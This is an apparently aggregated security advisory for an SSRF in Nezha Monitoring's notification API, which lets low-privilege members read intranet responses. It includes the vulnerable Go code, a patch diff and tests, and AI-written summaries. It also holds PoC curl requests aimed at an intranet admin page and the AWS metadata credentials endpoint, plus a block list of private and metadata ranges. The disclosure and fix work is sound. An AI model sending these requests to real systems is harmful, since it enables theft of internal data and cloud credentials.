Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification
Description
Summary
nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
Reachability chain
cmd/dashboard/controller/controller.go:121-122
auth.GET("/notification", listHandler(listNotification))
auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandler
For comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))
adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.
The vulnerable handler
// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
var nf model.NotificationForm
if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
var n model.Notification
n.UserID = getUid(c)
n.Name = nf.Name
n.RequestMethod = nf.RequestMethod
n.RequestType = nf.RequestType
n.RequestHeader = nf.RequestHeader
n.RequestBody = nf.RequestBody
n.URL = nf.URL
...
ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
if !nf.SkipCheck {
if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
return 0, err // <-- err.Error() reflects up to caller via newErrorResponse
}
}
...
}
Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.
The reflection sink
// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
var client *http.Client
n := ns.Notification
if n.VerifyTLS != nil && *n.VerifyTLS {
client = utils.HttpClient
} else {
client = utils.HttpClientSkipTlsVerify
}
reqBody, err := ns.reqBody(message)
if err != nil { return err }
reqMethod, err := n.reqMethod()
if err != nil { return err }
req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
if err != nil { return err }
n.setContentType(req)
if err := n.setRequestHeader(req); err != nil { return err }
resp, err := client.Do(req)
if err != nil { return err }
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode < 200 || resp.StatusCode > 299 {
body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader
return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
} else {
_, _ = io.Copy(io.Discard, resp.Body)
}
return nil
}
The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.
PoC
A. Read intranet admin-panel response body
curl -X POST -H "Authorization: Bearer " \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
Response: ``json {"success":false,"error":"401@Unauthorized "} ``
B. AWS IMDSv2 reachability + body leak
curl -X POST -H "Authorization: Bearer " \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
C. DoS via large internal file
Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Suggested fix
- **Switch /notification routes to
adminHandler.** Same fix for/alert-rule,/cron,/ddnsif they also issue user-URL requests synchronously. Compare with how/useris already guarded.
auth.POST("/notification", adminHandler(createNotification))
auth.PATCH("/notification/:id", adminHandler(updateNotification))
2. **SSRF-harden NotificationServerBundle.Send():** - Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT. - Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU. - Refuse non-http(s) schemes.
- Cap response body:
io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.
- **Reconsider
VerifyTLS=falsetoggle on RoleMember-reachable paths** — if the route remains member-reachable, at minimum cert validation should be enforced.
Severity
- CVSS 3.1: Medium —
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L≈ 6.4. PR:L because attacker needs aRoleMemberaccount (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS. - Auth: authenticated
RoleMember(Role == 1).
Reproduction environment
- Tested against:
nezhahq/nezha:v0.x(commit50dc8e660326b9f22990898142c58b7a5312b42a). - Code locations:
- Handler:
cmd/dashboard/controller/notification.go:46-83, 97-146 - Sink:
model/notification.go:113-159 - Auth gate:
cmd/dashboard/controller/controller.go:121-122(commonHandler), 214-236 (handler defs)
Reporter
Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Low-privilege RoleMember can SSRF and read intranet HTTP responses via notification API due to missing admin check.
Vulnerability
The dashboard's notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are bound to commonHandler instead of adminHandler, allowing a RoleMember (Role==1) user to create and update notifications. These handlers call Send() which makes an HTTP request to a user-controlled URL and, on non-2xx responses, reflects the entire response body back to the caller with no size limit. Affected versions include commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master. [1][2]
Exploitation
An attacker with a valid RoleMember account can craft a notification with a URL pointing to an internal service (e.g., http://10.0.0.1/admin), set SkipCheck: false, and send a request via POST /api/v1/notification. The handler will make the request and, if the response status is non-2xx, return the response body in the error message. The attacker can also use PATCH to modify an existing notification. No additional privileges or user interaction are required. [1][2]
Impact
Successful exploitation allows a low-privileged user to read the HTTP response bodies of internal services accessible from the dashboard server. This can lead to information disclosure, such as reading sensitive data from intranet endpoints (e.g., cloud metadata, internal APIs). The scope is limited to reading response bodies; direct write or code execution is not achieved. [1][2]
Mitigation
The fix is contained in commit d06d539d34c143d842b91e2a64326e8c8f9bc405 [3], which restricts outbound requests by blocking private and reserved IP ranges via notificationBlockedCIDRs, and also modifies the HTTP client accordingly. Users should update to a version that includes this commit. No workaround is available; updating is the recommended mitigation. [3]
AI Insight generated on May 23, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1Patches
1d06d539d34c1fix(notification): harden webhook request handling
2 files changed · +211 −9
model/notification.go+143 −9 modified@@ -1,10 +1,14 @@ package model import ( + "context" + "crypto/tls" "errors" "fmt" "io" + "net" "net/http" + "net/netip" "net/url" "strings" "time" @@ -25,6 +29,35 @@ const ( NotificationRequestMethodPOST ) +var errNotificationURLNotAllowed = errors.New("notification URL target is not allowed") + +var notificationBlockedCIDRs = mustParseNotificationCIDRs([]string{ + "0.0.0.0/8", + "10.0.0.0/8", + "100.64.0.0/10", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.0.0.0/24", + "192.0.2.0/24", + "192.168.0.0/16", + "198.18.0.0/15", + "198.51.100.0/24", + "203.0.113.0/24", + "224.0.0.0/4", + "240.0.0.0/4", + "::/128", + "::1/128", + "::ffff:0:0/96", + "64:ff9b::/96", + "100::/64", + "2001::/23", + "2001:db8::/32", + "fc00::/7", + "fe80::/10", + "ff00::/8", +}) + type NotificationServerBundle struct { Notification *Notification Server *Server @@ -111,13 +144,8 @@ func (n *Notification) setRequestHeader(req *http.Request) error { } func (ns *NotificationServerBundle) Send(message string) error { - var client *http.Client n := ns.Notification - if n.VerifyTLS != nil && *n.VerifyTLS { - client = utils.HttpClient - } else { - client = utils.HttpClientSkipTlsVerify - } + verifyTLS := n.VerifyTLS != nil && *n.VerifyTLS reqBody, err := ns.reqBody(message) if err != nil { @@ -129,7 +157,13 @@ func (ns *NotificationServerBundle) Send(message string) error { return err } - req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody)) + reqURL := ns.reqURL(message) + client, err := newNotificationHTTPClient(reqURL, verifyTLS) + if err != nil { + return err + } + + req, err := http.NewRequest(reqMethod, reqURL, strings.NewReader(reqBody)) if err != nil { return err } @@ -149,15 +183,115 @@ func (ns *NotificationServerBundle) Send(message string) error { }() if resp.StatusCode < 200 || resp.StatusCode > 299 { - body, _ := io.ReadAll(resp.Body) - return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body)) + return notificationResponseError(resp) } else { _, _ = io.Copy(io.Discard, resp.Body) } return nil } +func newNotificationHTTPClient(rawURL string, verifyTLS bool) (*http.Client, error) { + parsedURL, ip, err := resolveNotificationTarget(rawURL) + if err != nil { + return nil, err + } + + port := parsedURL.Port() + if port == "" { + if parsedURL.Scheme == "https" { + port = "443" + } else { + port = "80" + } + } + targetAddress := net.JoinHostPort(ip.String(), port) + dialer := &net.Dialer{} + + return &http.Client{ + Transport: &http.Transport{ + DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { + return dialer.DialContext(ctx, network, targetAddress) + }, + TLSClientConfig: &tls.Config{InsecureSkipVerify: !verifyTLS, ServerName: parsedURL.Hostname()}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + Timeout: time.Minute * 10, + }, nil +} + +func notificationResponseError(resp *http.Response) error { + _, _ = io.CopyN(io.Discard, resp.Body, 4096) + return fmt.Errorf("%d@%s", resp.StatusCode, resp.Status) +} + +func resolveNotificationTarget(rawURL string) (*url.URL, net.IP, error) { + parsedURL, err := url.Parse(rawURL) + if err != nil { + return nil, nil, err + } + if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" { + return nil, nil, errNotificationURLNotAllowed + } + + host := parsedURL.Hostname() + if host == "" { + return nil, nil, errNotificationURLNotAllowed + } + if ip := net.ParseIP(host); ip != nil { + if !notificationIPAllowed(ip) { + return nil, nil, errNotificationURLNotAllowed + } + return parsedURL, ip, nil + } + + ips, err := net.LookupIP(host) + if err != nil { + return nil, nil, err + } + if len(ips) == 0 { + return nil, nil, errNotificationURLNotAllowed + } + for _, ip := range ips { + if !notificationIPAllowed(ip) { + return nil, nil, errNotificationURLNotAllowed + } + } + + return parsedURL, ips[0], nil +} + +func notificationIPAllowed(ip net.IP) bool { + parsedIP, ok := netipFromIP(ip) + if !ok { + return false + } + for _, cidr := range notificationBlockedCIDRs { + if cidr.Contains(parsedIP) { + return false + } + } + return parsedIP.IsGlobalUnicast() +} + +func netipFromIP(ip net.IP) (netip.Addr, bool) { + parsedIP, ok := netip.AddrFromSlice(ip) + if !ok { + return netip.Addr{}, false + } + return parsedIP.Unmap(), true +} + +func mustParseNotificationCIDRs(cidrs []string) []netip.Prefix { + prefixes := make([]netip.Prefix, 0, len(cidrs)) + for _, cidr := range cidrs { + prefixes = append(prefixes, netip.MustParsePrefix(cidr)) + } + return prefixes +} + // replaceParamInString 替换字符串中的占位符 func (ns *NotificationServerBundle) replaceParamsInString(str string, message string, mod func(string) string) string { if mod == nil {
model/notification_test.go+68 −0 modified@@ -1,6 +1,7 @@ package model import ( + "io" "net/http" "strings" "testing" @@ -234,3 +235,70 @@ func TestNotification(t *testing.T) { execCase(t, c) } } + +func TestNotificationResponseErrorDoesNotReflectNonSuccessResponseBody(t *testing.T) { + const internalResponseBody = "internal service says token=secret" + + resp := &http.Response{ + StatusCode: http.StatusTeapot, + Status: "418 I'm a teapot", + Body: io.NopCloser(strings.NewReader(internalResponseBody)), + } + + err := notificationResponseError(resp) + if strings.Contains(err.Error(), internalResponseBody) { + t.Fatalf("expected upstream response body to be hidden from error, got %q", err.Error()) + } +} + +func TestNotificationSendRejectsLoopbackTarget(t *testing.T) { + verifyTLS := true + notification := &Notification{ + URL: "http://127.0.0.1/internal", + RequestMethod: NotificationRequestMethodGET, + VerifyTLS: &verifyTLS, + } + + bundle := NotificationServerBundle{ + Notification: notification, + Loc: time.Local, + } + + err := bundle.Send("probe") + if err == nil { + t.Fatal("expected loopback notification URL to be rejected") + } + if !strings.Contains(err.Error(), "not allowed") { + t.Fatalf("expected not allowed error, got %q", err.Error()) + } +} + +func TestNotificationTargetRejectsSpecialUseAddresses(t *testing.T) { + cases := []string{ + "http://100.64.0.1/", // CGNAT + "http://192.0.2.1/", // documentation range + "http://[fc00::1]/", // IPv6 unique local + "http://[2001:db8::1]/", // IPv6 documentation range + "http://[::ffff:127.0.0.1]/", // IPv4-mapped loopback + } + + for _, rawURL := range cases { + if _, _, err := resolveNotificationTarget(rawURL); err == nil { + t.Fatalf("expected %s to be rejected", rawURL) + } + } +} + +func TestNotificationHTTPClientPreservesTLSServerName(t *testing.T) { + client, err := newNotificationHTTPClient("https://example.com/webhook", true) + if err != nil { + t.Fatalf("expected public HTTPS URL to create client: %v", err) + } + transport, ok := client.Transport.(*http.Transport) + if !ok { + t.Fatalf("expected http.Transport, got %T", client.Transport) + } + if transport.TLSClientConfig == nil || transport.TLSClientConfig.ServerName != "example.com" { + t.Fatalf("expected TLS ServerName example.com, got %#v", transport.TLSClientConfig) + } +}
Vulnerability mechanics
Root cause
"Missing authorization check on notification creation/update routes allows a low-privilege RoleMember user to trigger an SSRF that reflects arbitrary intranet HTTP response bodies without size limits."
Attack vector
An attacker with a valid RoleMember JWT sends a POST or PATCH request to `/api/v1/notification` with a JSON body containing a user-controlled `url` field pointing to an intranet resource (e.g., `http://192.168.1.1/admin`). The handler calls `NotificationServerBundle.Send()`, which makes a synchronous HTTP request to that URL. When the response status code is non-2xx, the entire response body is read via unbounded `io.ReadAll` and concatenated into an error string. That error string is reflected back to the caller in the JSON response body. Because the route uses `commonHandler` instead of `adminHandler` [patch_id=1637005], no role check is performed, so any authenticated RoleMember can exploit this.
Affected code
The vulnerable routes are registered in `cmd/dashboard/controller/controller.go` at lines 121-122, where `auth.POST("/notification", commonHandler(createNotification))` and the PATCH variant use `commonHandler` instead of `adminHandler`. The `createNotification` function in `cmd/dashboard/controller/notification.go` (lines 46-83) and `updateNotification` (lines 97-146) call `ns.Send()`. The SSRF sink is `NotificationServerBundle.Send()` in `model/notification.go` (lines 113-159), which reads the full response body with unbounded `io.ReadAll` and reflects it in the error string.
What the fix does
The patch [patch_id=1637005] introduces three hardening layers. First, `resolveNotificationTarget()` parses the URL, validates the scheme is http/https, resolves the hostname via `net.LookupIP`, and checks every resolved IP against a comprehensive blocklist of private, loopback, CGNAT, link-local, documentation, and multicast CIDR ranges. Second, `newNotificationHTTPClient()` pins the dialer to the resolved IP address (closing DNS-rebinding TOCTOU) and disables redirect following via `http.ErrUseLastResponse`. Third, `notificationResponseError()` replaces the unbounded `io.ReadAll` with `io.CopyN(io.Discard, resp.Body, 4096)` and omits the response body from the error message entirely, preventing reflection of intranet content.
Preconditions
- authAttacker must possess a valid JWT for a RoleMember (Role==1) account.
- networkAttacker must be able to reach the nezha dashboard API endpoint.
- inputAttacker must supply a JSON payload with a url field pointing to an intranet resource and skip_check set to false (or omit it).
Generated on May 23, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.